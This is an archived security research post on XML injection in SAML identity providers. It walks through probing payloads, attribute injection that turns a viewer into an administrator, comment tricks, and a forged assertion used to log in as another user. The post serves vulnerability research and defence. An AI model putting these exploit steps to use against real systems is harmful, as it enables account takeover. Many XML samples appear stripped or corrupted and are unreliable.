

SAML XML Injection

SAML XML Injection - Adam Roberts, nccgroup.com.

- Published: date not stated
- Original: <<https://www.nccgroup.com/research/saml-xml-injection/>>
- Preserved from: <https://www.nccgroup.com/research/saml-xml-injection/> (stored) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Research Research Vulnerability

The Single Sign-On (SSO) approach to authentication controls and identity management was quickly adopted by both organizations and large online services for its convenience and added security. The benefits are clear; for end-users, it is far easier to authenticate to a single service and gain access to all required applications. And for administrators, credentials and privileges can be controlled in a single location. However, this convenience presents new opportunities for attackers. A single vulnerability in the SSO authentication flow could be catastrophic, exposing data stored in all services used by an organization.

This blog post will describe a class of vulnerability detected in several SSO services assessed by NCC Group, specifically affecting Security Assertion Markup Language (SAML) implementations. The flaw could allow an attacker to modify SAML responses generated by an Identity Provider, and thereby gain unauthorized access to arbitrary user accounts, or to escalate privileges within an application.

What is SAML?

To begin, a brief overview of how the SAML authentication flow works has been provided below. Feel free to skip this section if you are already familiar with SAML and SSO in general.

SAML is a standard that allows authentication and authorization data to be securely exchanged between different contexts. It is commonly used in web applications to offer SSO capabilities, and can be easily integrated with Active Directory, making it a popular choice for applications used within enterprise environments.

The authentication process relies on a trust relationship between two parties – the Identity Provider (which authenticates end-users), and the Service Provider (which is the application end-users want to access). Under the most common authentication flow, when a user wants to access a service provider, they will be redirected to the identity provider with a SAML request message.

The identity provider authenticates the user if they are not already logged in, and if this is successful, it redirects the user back to the service provider with a SAML response message (usually in the body of a POST request). The SAML response message will contain an assertion that identifies the user and describes a few conditions (the expiration time for the response and an audience restriction which states the service that the assertion is valid for). The service provider should validate the response, the assertion, and the conditions, and only provide the user with access to the application if the authentication was successful.

To prevent tampering, one or both of the SAML response and assertion should include a cryptographic signature that the service provider can verify. The use of a signature will ensure that a malicious user cannot simply modify the user identifier in the assertion, as the signature will no longer be valid.

A more in-depth summary of SAML can be found [here](#) on PingIdentity's website.

The Vulnerability

XML injection is a well-documented vulnerability class, which commonly affected older web applications utilizing XML or SOAP services in the backend. The common case involved user input being directly included in XML messages sent to the backend server. If the user input was not appropriately validated or encoded, an attacker could inject additional XML, and thereby modify request parameters or invoke additional functionality. While still relevant in some applications, XML injection is not nearly as common in 2021, with developers moving to adopt services built on newer data formats such as JSON, YAML, and Protocol Buffers.

In the context of a SAML identity provider, however, XML injection is a concern, as the SAML messages constructed during the authentication flow are XML-based, and contain data that is often sourced from untrusted locations. If this data is included within a SAML assertion or response message dangerously, it may be possible for an attacker to inject additional XML, and change the structure of the SAML message. Depending on the location of the injection and the configuration of the service provider, it may be possible to inject additional roles, modify the receiver of the assertion, or to inject an entirely new username in an attempt to compromise another user's account. Crucially, it should be noted that the XML for SAML assertions and responses is always built before a cryptographic signature is applied. Therefore, the use of response signatures does not protect against this vulnerability.

This type of vulnerability is most commonly seen in SAML identity providers that naively use string templates to build the SAML XML messages. User-controlled data may be inserted into the template string using a templating language, regex match/replace, or

simple concatenation. Although, it is not exclusive to this scenario; even implementations which build the XML using appropriate libraries may fall victim to this vulnerability if the library is used incorrectly.

During a number of security assessments of SAML identity providers, NCC Group has successfully leveraged XML injection vulnerabilities to modify signed assertions, and thereby gain unauthorized access to arbitrary user accounts.

Affected Fields

When constructing the SAML response and assertion, the identity provider is highly likely to include data that can be controlled by the user, either directly or indirectly. Obvious examples include the SAML NameID, which uniquely identifies the user (this may be a numeric identifier, a username, or an email address), and additional attributes when they are requested by the service provider, such as the user's full name, phone number, or occupation.

However, there are some less obvious fields that are, in most SAML implementations, sourced from the SAML request. A non-comprehensive list of fields in the SAML request that may be included in the SAML response/assertion has been provided below:

- The **ID** of the SAML request is typically included in the **InResponseTo** attribute of the SAML response. (Note: in identity providers observed by NCC Group, almost all implementations included the SAML request **ID** in the SAML response. This field is therefore considered the most reliable for probing for XML injection vulnerabilities).
- The **Issuer** field, which identifies the issuer of the SAML request, may be included in the **Audience** field in the SAML assertion.
- The **IssueInstant**, which states the time the SAML request was generated, may be included in the assertion conditions **NotBefore** attribute.
- The **Destination** field, which states the endpoint that receives the SAML request. This field may also be used in the **Audience** element of the assertion.

Some implementations may even include data sourced from locations external to the basic SAML authentication flow. To provide an example, in one SAML identity provider, if a SAML request was received from an unauthenticated client, the server issued a redirect to the login page with a GET parameter that included the ID of the SAML request. When the user entered their credentials, the server used the GET parameter ID to look up service provider associated with the SAML request, and then built the SAML response with this ID in the InResponseTo attribute. By modifying the ID GET parameter in the login request, it was possible to inject additional XML into the SAML response.

Identifying the Vulnerability

This vulnerability can be identified using common XML injection probing payloads. The following examples were recreated in a local environment, based on implementations observed during NCC Group security assessments. First, to determine whether XML

injection was possible, an intercepting proxy was used to modify the SAML request sent to the identity provider. The payload was inserted into the ID attribute (bolded below) of the request, and is designed to escape from the attribute value and inject an additional attribute value (ncctest); note that the quotes in the payload are XML encoded. This is to ensure that the request XML is still valid; when the value is read by the identity provider, many implementations will XML-decode these entities:

```
<?xml version="1.0" encoding="UTF-8"?>
```

```
http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp
```

When this was processed by the identity provider, the ID attribute was included directly within the SAML response template, in the InResponseTo attribute of the samlp:Response and saml:SubjectConfirmationData elements:

If this test is successful, an attempt can be made to inject additional XML elements into the response. While being able to modify the attributes is interesting, it is not particularly useful; if additional XML can be injected, the attacker may be able to modify the SAML assertion, and ultimately gain unauthorized access to another user's account.

As a basic test, the following SAML request was used to inject an additional XML element (ncc-elem) into the response. As before, the quotes and angle brackets are XML encoded. Also note that the injected element includes another attribute – this is to ensure that the quotes in the template used by the identity provider are balanced, and that the response is valid XML:

```
<?xml version="1.0" encoding="UTF-8"?>
```

```
http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp
```

This request produced the following XML in the SAML response:

A similar process can be used for other injection points. If, for example, the identity provider includes the SAML request Issuer field within the Audience of the response, a payload such as the following could be used to inject additional elements. Note here that it is necessary to encode the angle brackets (lt; and gt;):

```
<?xml version="1.0" encoding="UTF-8"?>
```

```
**http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/ lt;ncc-test gt;test lt;/ncc-test gt;**
```

This request produced the following Audience element in the SAML assertion:

```
**http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/test**
```

For user attributes, the success of injecting XML characters into the SAML assertion will depend on how these attributes are updated and stored by the identity provider; if XSS defenses prevent users from storing characters such as angle brackets in their attributes, it may not be possible to perform the attack. In the following example, setting the user's name to "Adamaaaa" produced the following Attribute element in the assertion. In this particular case, it was necessary to close the `saml:AttributeValue` element and create a new `AttributeValue` element to pass XML validation performed by the server:

```
**Adam**  
aaaa
```

Exploiting the Vulnerability

Identifying SAML XML injection vulnerabilities is fairly straightforward, but exploiting them is another story. Success will depend on a multitude of factors, including where the injection points occur, how tolerant of invalid XML the libraries used to sign and parse the SAML response are, and whether the service provider will trust the injected payload. In fact, in some cases where XML injection was possible on the identity provider, a number of service providers rejected or ignored the modified payload. Not because the signature was invalid, but because of repetition in the document.

The nature of this vulnerability will mean that, in many cases, it is necessary to inject repeated elements or to construct entirely new assertions. Problems encountered as a consequence of this include:

- The service provider may select the original legitimate element (assertion or `NameID`) created by the identity provider, rather than the injected element. Many XML libraries will behave differently when selecting an element that is repeated in a document; typically, this will either be the first occurrence or the last occurrence.
- Some security conscious service providers may reject responses containing repeated elements altogether; there is generally no good reason for an assertion to contain two `NameID` elements, for example.
- The attack may also fail if the service provider includes defenses against XML Signature Wrapping (XSW)*. This is a well-documented SAML vulnerability, where an attacker modifies the structure of a SAML response in an attempt to trick the service provider into reading the user's identity from an unsigned element (e.g. by adding a second unsigned assertion to a SAML response, before the legitimate signed assertion).

Although an XML injection attack would mean that both assertions are included in the scope of the SAML response signature, simply the presence of a second assertion element can be enough for some service providers to reject the message.

- For a good overview of XML Signature Wrapping attacks, see [On Breaking SAML: Be Whoever You Want to Be](#)

Example Exploits

In assessments performed by NCC Group, this vulnerability was most commonly exploitable in two scenarios;

- Attribute injections – where the injection occurs in a SAML attribute associated with the account in the Identity Provider.
- InResponseTo injections – where the injection affects the “InResponseTo” attribute of the SAML response.

Example exploits for these two scenarios have been provided in the following section. As it would be impossible to demonstrate all possible XML injection attacks on SAML implementations in this blog post, hopefully these can provide some inspiration. The techniques outlined here can likely be adapted to exploit identity providers affected by this vulnerability in most configurations.

Disclaimer: These examples were reproduced in a local environment specifically built to be vulnerable to this attack.

Attribute Injections

In addition to the NameID (which is the unique identifier for the user), SAML responses can include a set of user attributes that may be useful to the service provider. These are optional and there are no particular requirements; typically they are used to send data such as the user’s name, email address, and phone number. Some service providers also use the attributes to dictate the privileges that should be assigned to the user post-authentication, using a role attribute or similar. Therefore, if these attributes are not appropriately encoded, an attacker could inject or modify attributes to escalate their privileges or otherwise gain access to sensitive data in the service provider.

As an example, if the SAML assertion contains an AttributeStatement such as the following. This includes two attributes; one for the user’s full name and another for the user’s role (viewer):

Adam Roberts

viewer

The attacker could change their name in the identity provider to the following value:

```
Adam Robertsadministrator
```

If the identity provider includes this value in the name attribute without appropriate validation, the following AttributeStatement will be sent to the service provider. This may allow the attacker to authenticate to the application under the context of an “administrator”, rather than a “viewer”:

```
**Adam Roberts**
```

```
administrator
```

```
viewer
```

Note that the “role” Attribute element is repeated, and it is therefore possible that the attack may fail if the service provider reads the second role attribute value, or if a validator rejects the assertion. If the attacker controls two attributes (e.g. the name and an email address), it may be possible to use XML comments to effectively delete the role attribute generated by the identity provider. Take the following AttributeStatement as an example. This includes the user’s email address, the role, and a name attribute:

```
user@example.com
```

```
viewer
```

```
Adam Roberts
```

The role attribute is included between the email and name attributes. An attacker could set their email address and name to the following values:

```
email: user@example.comadministrator Adam Roberts
```

When the AttributeStatement element is built by the identity provider, the following XML will be produced, where the “viewer” role attribute is enclosed within an XML comment:

```
**user@example.com**
```

```
administrator
```

```
Adam Roberts
```

When parsed by the service provider, the user will be authenticated to the application under the context of an administrator.

Comments can be a useful tool when exploiting XML injections in SAML messages. When done correctly, it is often possible to control large parts of the SAML response or assertion, meaning it can be particularly effective in subverting restrictions imposed by strict service providers. It is worth noting that most XML signature schemes used by SAML implementations canonicalize XML documents prior to calculating a signature, and as part of this process comments are removed from the document. In other words, comments in a SAML response are not considered when the signature is calculated, and can therefore be removed entirely before submission to the service provider. If it is possible to inject XML into two locations within a SAML response, the opportunities for exploitation are much greater through the use of XML comments.

InResponseTo and Assertion Injections

Injections which affect the InResponseTo attribute occur when the SAML request ID is included dangerously within the response. As mentioned previously, the vast majority of SAML identity providers reflect the value of the SAML request ID in the response, and this is therefore considered a very reliable attribute to probe for injections. Exploiting this type of injection, however, can be extremely difficult. The primary reason is that the value is included in the SAML response in two locations; the first is within the InResponseTo attribute of the Response element, and the second is within the InResponseTo attribute of the SubjectConfirmationData element, in the assertion.

Below is an example of a SAML response generated by an identity provider (hosted on a local server) affected by this vulnerability. The InResponseTo attribute contains the value “_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46”, which was set by the service provider in the SAML request:


```
<?xml version="1.0" encoding="UTF-8"?>
```

```
http://idp.adam.local:8080
```

```
gj6oIvcJnXaTBtVRwyNVGaIwwEaCu00jZizyG/Z94aU=
```

```
ueEVB+Xt+kiZZ/g8+9Lp06IWevTatj0NnYLYUwcluqEGLYWMyXef5uQpWf89B0/j294jnIA9KifnqvwHZZr5Ma5e1  
UQ5/C5d3lTkSA8MTi3DZ8AuHmEtnC83ivD9IJizcyr0KbwcHtJVzisvYDwo/f5xq3IrFtqA18tL/mMVA=
```

```
MIICsDCCAhmGAWIBAgIUdbiK0NoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxC  
zAJBgNVBAGMAkNBMRIwEAYDVQQHDAldW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTC  
BUZXN0MRIwEAYDVQQDDAIsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjEwMjA4MTgwNTM1WjBqMQswCQYDVQQ  
GEWJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQQL  
DAldTU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwGykCgYEAzcBpN/M96  
rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCg0TztJ7xY7e55EL3G  
UB2F+f92BsmymNbkmmjW3TS61R7D0mU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQY  
DVR00BBYEFg4sdyzqVsCQH08YaigkbVmQE9RdMB8GA1UdIwQYMBaAFg4sdyzqVsCQH08YaigkbVmQE9RdMA8GA1Ud  
EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrBFhslsooPMvw  
KnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjCHC/b+I/nc3lrgoUSLPnjq8JUeCG  
2jkC54eWXM6Ls2uFTEbUoI+BwJHFAH08=
```

```
http://idp.adam.local:8080
```

```
user@example.org
```

```
http://sp.adam.local/
```

```
urn:oasis:names:tc:SAML:2.0:ac:classes:Password
```

The goal for most attackers here would be to inject a new assertion that includes a different NameID, and thereby gain access to another user's account on the service provider. The following payload (decoded and formatted for readability), when included in the ID of the SAML request sent to the identity provider, achieves this.

```
_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46">
```

```
http://idp.adam.local:8080
```

```
http://idp.adam.local:8080
```

```
admin@example.org
```

```
http://sp.adam.local/
```

```
urn:oasis:names:tc:SAML:2.0:ac:classes:Password
```

- First, ">" is used to escape **from** the InResponseTo attribute and into the XML context.
- In the injected XML, copies of the Issuer and Status elements included in other responses observed **from** the identity provider are included.
- Then, an entirely **new** assertion is created, with a NameID which specifies the email address "admin@example.org". **This** assertion was built **using** assertions taken **from** legitimate responses generated by the server; the NameID field was modified, along with the NotOnOrAfter attributes (to specify a time in the future) and the InResponseTo attribute, to include the ID of the SAML request. Replacing these values ensure that the service provider will not reject the assertion, as it will expect an assertion that is not expired, and that was generated **for** the SAML request it previously issued.
- **Finally**, an unrelated element "elem" is opened at the end, with an attribute. **This** is designed to fix dangling markup left by the Response and SubjectConfirmationData elements created by the identity provider, where the injection points occur. Note, however, that **this** step is considered optional, and its necessity will depend on how tolerant the XML parser is. Some parsers will reject the XML document **if** the dangling markup is not part of an element, **while** others will simply treat the dangling markup as an additional text node. **If** the server rejects the payload without **this** element, **try** including it in another SAML request.

The following SAML request contains **this** payload, encoded **for** transport:

```
http://sp.adam.local/
```

When **this** was received by the identity provider, the following SAML response was produced. The injected XML has been highlighted in bold, although note that the XML was adjusted when the identity provider inserted the XML signature:

```
http://idp.adam.local:8080
```

```
oE/7pnmcvbFYVsIPC4tao56UR/yAkpV3VL/VBXZXrXk=
```

```
mA6oPZaOUMXxIFRQG5LzoVpmV4VB5K4ilQJ2sseqgYLXhrszbvJ85v7Qud6Fp8xKqC4nVIUZw  
73eHR2d4nakLKd0IPAqk7gTVC+1V1M3lpMkMCriqM5BNcR/IKpIn3SnEzgUPAtbOgmsvKSmb
```

ME7fXIY9BUW0Kv/8FcCEdUGg70=

MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwaajELMAkGA1UEBhMCVVMxCzAJBgNVBAGMAkNBMRIwEAYDVQQHDAITdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAIsb2NhbGhv c3QwHhcNMjEwMjA4MTgwNTM1WhcNMjEwMjA4MTgwNTM1WjBqMQswCQYDVQQGEWJVUzE LMAkGA1UECAwCQ0ExEjAQBgNVBACMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3V wMRIwEAYDVQQQLDAITQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9 w0BAQEFAAOBjQAwgYkCgYEAzcbpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiN Y3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztj7xY7e55EI3GUB2F+f92BsmymNbkmjmjW3TS61 R7DOmU5Z2c2kigxahhoV2CuZAP4qijpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OB BYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVm QE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa 7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyuDRGZ0d5/d hsMI9SyN87CLwnSpkjcHC/b+l/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUol+BwJHFA H08=

http://idp.adam.local:8080

admin@example.org

http://sp.adam.local/

urn:oasis:names:tc:SAML:2.0:ac:classes:Password

http://idp.adam.local:8080

http://idp.adam.local:8080

user@example.org

http://idp.adam.local:8080

http://idp.adam.local:8080

admin@example.org

http://sp.adam.local/

urn:oasis:names:tc:SAML:2.0:ac:classes:Password

http://sp.adam.local/

urn:oasis:names:tc:SAML:2.0:ac:classes:Password

It should be noted that, due to the existence of two injection points, **this** SAML response contains three assertions; one injected **using** the XML injection payload, the second produced by the identity provider (with the legitimate user@example.org NameID), and another injected assertion embedded within the legitimate assertion (at the location of the second InResponseTo attribute). As described previously, the handling of such a SAML response will depend on the configuration of the service provider. During tests performed by NCC Group, the vulnerable identity provider was connected to a SimpleSAMLphp installation; **this** accepted the SAML response, and used the first occurrence of the assertion to authenticate the user, meaning that the attacker was logged in to the service under the context of admin@example.org.

If the service provider uses the second assertion instead of the first, or **if** it rejects the response due to the repeated assertions, it may be possible to utilize XML comments again to effectively remove the identity provider's assertion **from** the response. Two methods have been used successfully in tests performed by NCC Group. The first, **if** the XML parser used by the service provider is not too strict, simply leaves an unterminated comment at the end of the payload. The identity provider may ignore the lack of a closure **for** the comment, and generate a signature **for** the response **using** only the attacker's assertion. An example of a payload which may achieve **this** has been provided below (decoded and formatted **for** readability):

```
_29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7"> http://idp.adam.local:8080
http://idp.adam.local:8080
admin@example.org
http://sp.adam.local/
urn:oasis:names:tc:SAML:2.0:ac:classes:Password
http://idp.adam.local:8080
http://idp.adam.local:8080
admin@example.org
http://sp.adam.local/
urn:oasis:names:tc:SAML:2.0:ac:classes:Password
```

Depending on where the InResponseTo attributes are located within the XML document, it may be necessary to adjust the payload to ensure that the XML is correct and well-formed.

There are some caveats to the InResponseTo attacks, however. **This** particular injection was only successful because the assertion in the SAML response was not signed. Some identity providers sign both the assertion and the SAML response. In **this** situation, it may only be possible to utilize the second InResponseTo injection point, as any modifications to **this** assertion after the application of the signature could cause the verification to fail. The specifics of **this** approach will vary based on the implementation of the identity provider, and the libraries used to parse and sign the XML.

Recommendations

Organizations and services that rely on SAML **for** authentication should examine identity providers and determine whether they are affected by XML injection vulnerabilities, particularly **if** the identity provider uses **string**-based templates to build SAML responses/assertions with user controlled data. Ideally, SAML responses and assertions should be constructed **using** an appropriate XML library that can safely set user-controlled data in attributes and text nodes.

If it is absolutely necessary to **use** a **string** template, or **string** functions, to include user-controlled data within SAML messages, the data should be strictly validated. **If** XML characters are detected in the user-input, the authentication attempt should be rejected with an error message. Before insertion to the document, XML encoding should be applied to the data, to ensure that even **if** the validation is bypassed, the user input cannot inject additional XML.

Additionally, consider enforcing the **use** of signatures **for** SAML authentication requests sent **from** service providers, where possible. **If** the SAML request signature is validated by the identity provider, any attempt to modify the request to include an XML injection payload (such as those which exploit the InResponseTo attribute) can be detected.

[image: Adam Roberts]

Adam Roberts